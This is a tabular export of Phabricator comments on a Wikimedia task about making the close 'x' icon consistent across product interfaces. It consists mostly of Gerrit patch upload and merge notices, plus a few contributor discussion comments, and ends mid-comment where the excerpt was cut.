",,,1517271747,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,239,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.838709677419355,0.7096774193548387,"Change 376851 **merged** by jenkins-bot:
[mediawiki/extensions/CentralNotice@master] Use consistent close icon

[[GERRIT_URL]]
"
973388,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 394076 had a related patch set uploaded (by Esanders; owner: Esanders):
[mediawiki/core@master] mw.postEdit: Use mw.notify to display message

[[https://gerrit.wikimedia.org/r/394076]]
",,,1512061260,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,230,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,4.111111111111111,0.8055555555555556,"Change 394076 had a related patch set uploaded (by Esanders; owner: Esanders):
[mediawiki/core@master] mw.postEdit: Use mw.notify to display message

[[GERRIT_URL]]
"
959862,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 389542 had a related patch set uploaded (by VolkerE; owner: VolkerE):
[mediawiki/extensions/MultimediaViewer@master] Remove special color treatment of close icon on confirmation

[[https://gerrit.wikimedia.org/r/389542]]
",,,1509995888,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,227,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,4.525,0.825,"Change 389542 had a related patch set uploaded (by VolkerE; owner: VolkerE):
[mediawiki/extensions/MultimediaViewer@master] Remove special color treatment of close icon on confirmation

[[GERRIT_URL]]
"
957203,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 385250 merged by jenkins-bot:
[mediawiki/extensions/Popups@master] Use standard close icon

[[https://gerrit.wikimedia.org/r/385250]]
",,,1509555770,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,226,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,3.925925925925926,0.7777777777777778,"Change 385250 merged by jenkins-bot:
[mediawiki/extensions/Popups@master] Use standard close icon

[[GERRIT_URL]]
"
950888,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 385250 had a related patch set uploaded (by VolkerE; owner: VolkerE):
[mediawiki/extensions/Popups@master] Use standard close icon

[[https://gerrit.wikimedia.org/r/385250]]
",,,1508444481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,224,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,3.9714285714285715,0.8,"Change 385250 had a related patch set uploaded (by VolkerE; owner: VolkerE):
[mediawiki/extensions/Popups@master] Use standard close icon

[[GERRIT_URL]]
"
947905,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 384094 merged by jenkins-bot:
[mediawiki/extensions/GettingStarted@master] Use standard close icon

[[https://gerrit.wikimedia.org/r/384094]]
",,,1507942239,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,223,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,4.222222222222222,0.7777777777777778,"Change 384094 merged by jenkins-bot:
[mediawiki/extensions/GettingStarted@master] Use standard close icon

[[GERRIT_URL]]
"
947899,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 384191 merged by jenkins-bot:
[mediawiki/extensions/GuidedTour@master] Use standard close icon

[[https://gerrit.wikimedia.org/r/384191]]
",,,1507941006,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,223,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,4.074074074074074,0.7777777777777778,"Change 384191 merged by jenkins-bot:
[mediawiki/extensions/GuidedTour@master] Use standard close icon

[[GERRIT_URL]]
"
947891,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 384191 had a related patch set uploaded (by VolkerE; owner: VolkerE):
[mediawiki/extensions/GuidedTour@master] Use standard close icon

[[https://gerrit.wikimedia.org/r/384191]]
",,,1507939773,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,223,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,4.085714285714285,0.8,"Change 384191 had a related patch set uploaded (by VolkerE; owner: VolkerE):
[mediawiki/extensions/GuidedTour@master] Use standard close icon

[[GERRIT_URL]]
"
947762,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 384094 had a related patch set uploaded (by VolkerE; owner: VolkerE):
[mediawiki/extensions/GettingStarted@master] Use standard close icon

[[https://gerrit.wikimedia.org/r/384094]]
",,,1507923417,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,223,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,4.2,0.8,"Change 384094 had a related patch set uploaded (by VolkerE; owner: VolkerE):
[mediawiki/extensions/GettingStarted@master] Use standard close icon

[[GERRIT_URL]]
"
947131,"Inconsistent close icon ""x""  in Wikimedia product interfaces",Possible regression: {T178111},,,1507846952,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,True,,,223,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,Possible regression: {T178111}
929260,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 376873 merged by jenkins-bot:
[mediawiki/core@master] postEdit: Use standard close icon

[[https://gerrit.wikimedia.org/r/376873]]
",,,1505254455,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,219,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,3.7777777777777777,0.7777777777777778,"Change 376873 merged by jenkins-bot:
[mediawiki/core@master] postEdit: Use standard close icon

[[GERRIT_URL]]
"
927479,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 376869 merged by jenkins-bot:
[mediawiki/extensions/Translate@master] Use standard close icon

[[https://gerrit.wikimedia.org/r/376869]]
",,,1504966688,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,218,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.037037037037037,0.7777777777777778,"Change 376869 merged by jenkins-bot:
[mediawiki/extensions/Translate@master] Use standard close icon

[[GERRIT_URL]]
"
927416,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 376873 had a related patch set uploaded (by VolkerE; owner: VolkerE):
[mediawiki/core@master] postEdit: Use standard close icon

[[https://gerrit.wikimedia.org/r/376873]]
",,,1504936447,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,218,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,3.857142857142857,0.8,"Change 376873 had a related patch set uploaded (by VolkerE; owner: VolkerE):
[mediawiki/core@master] postEdit: Use standard close icon

[[GERRIT_URL]]
"
927401,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 376869 had a related patch set uploaded (by VolkerE; owner: VolkerE):
[mediawiki/extensions/Translate@master] Use standard close icon

[[https://gerrit.wikimedia.org/r/376869]]
",,,1504923664,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,218,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,4.057142857142857,0.8,"Change 376869 had a related patch set uploaded (by VolkerE; owner: VolkerE):
[mediawiki/extensions/Translate@master] Use standard close icon

[[GERRIT_URL]]
"
927365,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 376851 had a related patch set uploaded (by VolkerE; owner: VolkerE):
[mediawiki/extensions/CentralNotice@master] Use consistent close icon

[[https://gerrit.wikimedia.org/r/376851]]
",,,1504911061,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,218,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,4.228571428571429,0.8,"Change 376851 had a related patch set uploaded (by VolkerE; owner: VolkerE):
[mediawiki/extensions/CentralNotice@master] Use consistent close icon

[[GERRIT_URL]]
"
926887,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 376648 merged by jenkins-bot:
[mediawiki/extensions/UniversalLanguageSelector@master] Use consistent close icon

[[https://gerrit.wikimedia.org/r/376648]]
",,,1504857338,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,218,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.703703703703703,0.7777777777777778,"Change 376648 merged by jenkins-bot:
[mediawiki/extensions/UniversalLanguageSelector@master] Use consistent close icon

[[GERRIT_URL]]
"
926799,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Change 376648 had a related patch set uploaded (by VolkerE; owner: VolkerE):
[mediawiki/extensions/UniversalLanguageSelector@master] Use consistent close icon

[[https://gerrit.wikimedia.org/r/376648]]
",,,1504828559,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,218,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,4.571428571428571,0.8,"Change 376648 had a related patch set uploaded (by VolkerE; owner: VolkerE):
[mediawiki/extensions/UniversalLanguageSelector@master] Use consistent close icon

[[GERRIT_URL]]
"
769764,"Inconsistent close icon ""x""  in Wikimedia product interfaces","Just to give an update

https://www.mediawiki.org/wiki/Wikimedia_Foundation_Design/Agora_icon_set gives a list of places the old icon is used, probably based off of this report, but the page has not been updated for 2 years, so it is likely out of date. 

https://doc.wikimedia.org/oojs-ui/master/demos/#icons-apex-ltr gives what I believe to be the most recent icons (using apex). Based on the attached screenshot, that is indeed what Wikipedia uses in the edit feedback

{F4913849}

If someone could investigate other places and help to figure out to what extent this is still an issue, that'd be great",,,1480546272,,PHID-USER-4h2udy357ze7pb3oqlp3,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,178,,0.0,1.0,0.0,1.0,0.5,4.5,3.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,5.0,10.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.5,1.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,5.0,6.0,1.5,1.5,8.5,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,1.0,10.0,2.5,0.0,0.0,0.0,1.0,0.0,3.5,2.0,0.0,1.0,0.0,1.0,0.0,3.669811320754717,0.8301886792452831,"Just to give an update

URL gives a list of places the old icon is used, probably based off of this report, but the page has not been updated for 2 years, so it is likely out of date. 

URL gives what I believe to be the most recent icons (using apex). Based on the attached screenshot, that is indeed what Wikipedia uses in the edit feedback

{F4913849}

If someone could investigate other places and help to figure out to what extent this is still an issue, that'd be great"
484343,"Inconsistent close icon ""x""  in Wikimedia product interfaces","{F187901}

This icon is used for all of these instances mentioned above:

https://upload.wikimedia.org/wikipedia/commons/5/56/PEF-1-Cropped.png
https://upload.wikimedia.org/wikipedia/commons/3/37/CentralNotice_banner_2013-05-03.png
https://upload.wikimedia.org/wikipedia/commons/3/37/CentralNotice_banner_2013-05-03.png

---

{F187902}
{F187903}

This icon is used specifically to clear input fields. 

---

I hope this helps. Let me know if I'm not answering any other questions mentioned. I'll provide info around specs soon.",,,1435682114,,PHID-USER-tjeabpzbwsqw3xciydvb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,104,,3.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,4.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,7.0,3.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,17.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,8.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.5277777777777777,0.6527777777777778,"{F187901}

This icon is used for all of these instances mentioned above:

URL
URL
URL

---

{F187902}
{F187903}

This icon is used specifically to clear input fields. 

---

I hope this helps. Let me know if I'm not answering any other questions mentioned. I'll provide info around specs soon."
484210,"Inconsistent close icon ""x""  in Wikimedia product interfaces",@Galorefitz: Sorry that nobody has replied yet. I've also brought up your question on the mailing list now: https://lists.wikimedia.org/pipermail/design/2015-June/002325.html,,,1435674260,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,True,,,104,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,13.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.043478260869565,0.9565217391304348,SCREEN_NAME: Sorry that nobody has replied yet. I've also brought up your question on the mailing list now: URL
458948,"Inconsistent close icon ""x""  in Wikimedia product interfaces","I am new here and was wondering if I could contribute to resolving this ticket.

I went through the conversation and had a few doubts:
1. Are we to switch from icons to glyphs, everywhere? Or just make the icons consistent, for now?
2. Already pointed out, but not answered,

>>! In T50067#526717, @Aklapper wrote:
> As Jared added the ""easy"" keyword to this ticket: What is the prefered approach and expected implementation for a potential new code contributor? 
> Which specific 'close' icon to use everywhere?
> What is the complete list of codebases which are affected?
",,,1431636628,,PHID-USER-v3ap2mbgahzlhkciw4ai,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,97,,1.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,8.0,11.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,14.0,1.0,6.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,11.0,4.0,3.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,3.0,3.5277777777777777,0.6944444444444444,"I am new here and was wondering if I could contribute to resolving this ticket.

I went through the conversation and had a few doubts:
1. Are we to switch from icons to glyphs, everywhere? Or just make the icons consistent, for now?
2. Already pointed out, but not answered,

QUOTE
QUOTE
QUOTE
QUOTE
"
226962,"Inconsistent close icon ""x""  in Wikimedia product interfaces","James, there are still many many interfaces especially with smaller dialogs (language switching, fundraising banners, etc) which use icons for dismiss, this is true on mobile as well due to space constraints, I'd prefer to get consistency in these places then we can investigate in which interfaces we should expand beyond just an icon. But for places we're CURRENTLY using an icon, that icon should be consistent.",,,1414441471,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,69,,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,1.0,5.0,1.0,8.0,14.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,23.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,5.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,14.0,1.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,3.0,1.0,0.0,1.0,4.405063291139241,0.759493670886076,"James, there are still many many interfaces especially with smaller dialogs (language switching, fundraising banners, etc) which use icons for dismiss, this is true on 